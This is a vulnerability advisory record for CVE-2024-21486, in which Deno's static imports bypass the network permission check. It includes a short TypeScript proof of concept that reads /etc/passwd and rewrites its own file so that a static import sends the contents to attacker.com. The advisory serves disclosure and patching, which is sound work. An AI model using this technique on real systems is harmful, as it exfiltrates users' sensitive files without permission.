{"id":"CVE-2024-21486","aliases":[],"url":"https://o3.security/vulnerability/CVE-2024-21486","summary":"Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor","details":"### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access","published":"2025-06-05T01:21:08Z","modified":"2025-06-05T01:42:32.714310Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"crates.io","name":"deno","fixedVersion":"2.0.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-06-05T01:42:32.714310Z"}}